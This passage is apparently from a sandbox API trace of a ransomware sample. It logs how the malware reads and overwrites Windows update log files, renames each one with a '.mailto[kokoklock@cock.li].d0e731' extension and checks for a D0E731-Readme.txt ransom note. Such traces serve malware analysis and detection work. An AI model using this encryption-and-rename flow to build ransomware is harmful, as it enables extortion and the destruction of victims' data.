Flags=0x8, Size=0x40) returned 0x33fce00 [0081.298] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480138 [0081.298] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e388 [0081.298] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e388) returned 1 [0081.298] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.298] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.298] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x259bfcc8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x259bfcc8*=0x3000, lpOverlapped=0x0) returned 1 [0081.299] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259bfc90 | out: lpNewFilePointer=0x0) returned 1 [0081.299] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x259bfcc4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x259bfcc4*=0x3000, lpOverlapped=0x0) returned 1 [0081.300] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e590 [0081.300] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e5b8 [0081.300] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e5b8) returned 1 [0081.300] WriteFile (in: hFile=0x458, lpBuffer=0x342e590*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x259bfcc0, lpOverlapped=0x0 | out: lpBuffer=0x342e590*, lpNumberOfBytesWritten=0x259bfcc0*=0x20, lpOverlapped=0x0) returned 1 [0081.300] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e590) returned 1 [0081.300] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.300] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.300] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480138) returned 1 [0081.300] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0081.300] WriteFile (in: hFile=0x458, lpBuffer=0x342e478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x259bfcec, lpOverlapped=0x0 | out: lpBuffer=0x342e478*, lpNumberOfBytesWritten=0x259bfcec*=0x8, lpOverlapped=0x0) returned 1 [0081.300] WriteFile (in: hFile=0x458, lpBuffer=0x259bfd04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x259bfcec, lpOverlapped=0x0 | out: lpBuffer=0x259bfd04*, lpNumberOfBytesWritten=0x259bfcec*=0x4, lpOverlapped=0x0) returned 1 [0081.300] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x259bfcec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x259bfcec*=0x4, lpOverlapped=0x0) returned 1 [0081.300] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x259bfcec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x259bfcec*=0x6c, lpOverlapped=0x0) returned 1 [0081.300] WriteFile (in: hFile=0x458, lpBuffer=0x342e360*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x259bfcec, lpOverlapped=0x0 | out: lpBuffer=0x342e360*, lpNumberOfBytesWritten=0x259bfcec*=0x20, lpOverlapped=0x0) returned 1 [0081.301] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x259bfcec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x259bfcec*=0x4, lpOverlapped=0x0) returned 1 [0081.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e360) returned 1 [0081.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e568) returned 1 [0081.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e478) returned 1 [0081.301] CloseHandle (hObject=0x458) returned 1 [0081.301] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.301] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" [0081.301] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.mailto[kokoklock@cock.li].d0e731" [0081.301] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.011.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.011.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.302] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.302] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.302] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl", dwFileAttributes=0x2020) returned 0 [0081.302] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347fc88 [0081.302] wcscpy (in: _Dest=0x347fc88, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.302] wcscat (in: _Dest=0x347fc88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.302] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.302] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc88) returned 1 [0081.302] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b978) returned 1 [0081.302] RtlExitUserThread (Status=0x1) Thread: id = 1050 os_tid = 0x176c [0081.313] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.012.etl")) returned 0x2020 [0081.314] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl", dwFileAttributes=0x20) returned 1 [0081.314] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.012.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.315] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x25a3f824 | out: lpFileSize=0x25a3f824*=12288) returned 1 [0081.315] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.315] ReadFile (in: hFile=0x458, lpBuffer=0x25a3f7f8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25a3f7f4, lpOverlapped=0x0 | out: lpBuffer=0x25a3f7f8*, lpNumberOfBytesRead=0x25a3f7f4*=0x4, lpOverlapped=0x0) returned 1 [0081.316] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.316] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.316] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.316] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e360 [0081.316] NtQuerySystemTime (in: CurrentTime=0x25a3f7d0 | out: CurrentTime=0x25a3f7d0*=132121176392135310) returned 0x0 [0081.316] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0x33a43f0f [0081.316] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0x11f36b19 [0081.316] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xcd03b48f [0081.316] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xbdac166d [0081.316] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xcffb0bcc [0081.316] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xc099b46d [0081.316] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xdeafc006 [0081.316] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xf717d8fb [0081.316] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0x8af041c6 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xbb393a78 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0x6bcd80a7 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0x3721f1d6 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xd48008c1 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xa63f3df3 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0x3f1b9da6 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0x3dd604d1 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0x8d762b4 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xf53546b1 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0x9e72476 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0x27b6ebb6 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0x2ce2e3ea [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0x68d2c3c8 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xb6ee851b [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0x114081a7 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xfe72f01a [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xa5474e5e [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xa79338a0 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xa9bed538 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0x70d75047 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0x98c569fc [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xd4787530 [0081.317] RtlRandom (in: Seed=0x25a3f7dc | out: Seed=0x25a3f7dc) returned 0xb3cfb991 [0081.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3b0 [0081.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3b0) returned 1 [0081.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.328] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x25a3f7d0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x25a3f7d0*=0x3000, lpOverlapped=0x0) returned 1 [0081.329] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25a3f798 | out: lpNewFilePointer=0x0) returned 1 [0081.329] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x25a3f7cc, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x25a3f7cc*=0x3000, lpOverlapped=0x0) returned 1 [0081.330] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3b0 [0081.330] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3d8 [0081.330] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3d8) returned 1 [0081.330] WriteFile (in: hFile=0x458, lpBuffer=0x342e3b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25a3f7c8, lpOverlapped=0x0 | out: lpBuffer=0x342e3b0*, lpNumberOfBytesWritten=0x25a3f7c8*=0x20, lpOverlapped=0x0) returned 1 [0081.330] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3b0) returned 1 [0081.330] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.330] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.330] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.330] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.330] WriteFile (in: hFile=0x458, lpBuffer=0x342e568*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25a3f7f4, lpOverlapped=0x0 | out: lpBuffer=0x342e568*, lpNumberOfBytesWritten=0x25a3f7f4*=0x8, lpOverlapped=0x0) returned 1 [0081.330] WriteFile (in: hFile=0x458, lpBuffer=0x25a3f80c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25a3f7f4, lpOverlapped=0x0 | out: lpBuffer=0x25a3f80c*, lpNumberOfBytesWritten=0x25a3f7f4*=0x4, lpOverlapped=0x0) returned 1 [0081.330] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25a3f7f4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x25a3f7f4*=0x4, lpOverlapped=0x0) returned 1 [0081.330] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x25a3f7f4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x25a3f7f4*=0x6c, lpOverlapped=0x0) returned 1 [0081.330] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25a3f7f4, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x25a3f7f4*=0x20, lpOverlapped=0x0) returned 1 [0081.330] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25a3f7f4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x25a3f7f4*=0x4, lpOverlapped=0x0) returned 1 [0081.331] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.331] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e388) returned 1 [0081.331] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e568) returned 1 [0081.331] CloseHandle (hObject=0x458) returned 1 [0081.331] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.331] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" [0081.331] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.mailto[kokoklock@cock.li].d0e731" [0081.331] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.012.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.012.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.332] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.332] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.332] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl", dwFileAttributes=0x2020) returned 0 [0081.332] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.332] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.332] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.332] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.332] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.332] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348bf68) returned 1 [0081.332] RtlExitUserThread (Status=0x1) Thread: id = 1051 os_tid = 0x1770 [0081.334] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.013.etl")) returned 0x2020 [0081.334] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl", dwFileAttributes=0x20) returned 1 [0081.334] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.013.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.334] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x25abfeb0 | out: lpFileSize=0x25abfeb0*=8192) returned 1 [0081.334] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.334] ReadFile (in: hFile=0x458, lpBuffer=0x25abfe84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25abfe80, lpOverlapped=0x0 | out: lpBuffer=0x25abfe84*, lpNumberOfBytesRead=0x25abfe80*=0x4, lpOverlapped=0x0) returned 1 [0081.336] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e388 [0081.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e568 [0081.336] NtQuerySystemTime (in: CurrentTime=0x25abfe5c | out: CurrentTime=0x25abfe5c*=132121176392247478) returned 0x0 [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0x3bee946a [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0xbe2f035b [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0xc3c4aa34 [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0x3a7206bf [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0x5880b15 [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0x35a33141 [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0x7a9e5f67 [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0xa6c1dc1a [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0xdc672e2 [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0xc7b4a1e8 [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0x7ec642ee [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0xf03b5a52 [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0xc45271cf [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0x8e306d21 [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0x7c254ef4 [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0xa1e2d77d [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0xc3e2f09e [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0xe84363a6 [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0x73ff0577 [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0x9bc7d6ea [0081.336] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0xe2c02153 [0081.337] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0x54689a09 [0081.337] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0xc01798 [0081.337] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0xd6eda2ca [0081.337] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0x2fa547ab [0081.337] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0x47f1cb9d [0081.337] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0x5411067d [0081.337] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0xdf4eb12a [0081.337] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0x5ccb04e6 [0081.337] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0xfefd2633 [0081.337] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0x68a24056 [0081.337] RtlRandom (in: Seed=0x25abfe68 | out: Seed=0x25abfe68) returned 0xc4e89884 [0081.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0081.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce00 [0081.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480138 [0081.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3b0 [0081.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3b0) returned 1 [0081.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.348] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x25abfe5c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x25abfe5c*=0x2000, lpOverlapped=0x0) returned 1 [0081.349] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25abfe24 | out: lpNewFilePointer=0x0) returned 1 [0081.349] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x25abfe58, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x25abfe58*=0x2000, lpOverlapped=0x0) returned 1 [0081.349] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e5b8 [0081.349] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e5e0 [0081.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e5e0) returned 1 [0081.349] WriteFile (in: hFile=0x458, lpBuffer=0x342e5b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25abfe54, lpOverlapped=0x0 | out: lpBuffer=0x342e5b8*, lpNumberOfBytesWritten=0x25abfe54*=0x20, lpOverlapped=0x0) returned 1 [0081.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e5b8) returned 1 [0081.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480138) returned 1 [0081.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0081.349] WriteFile (in: hFile=0x458, 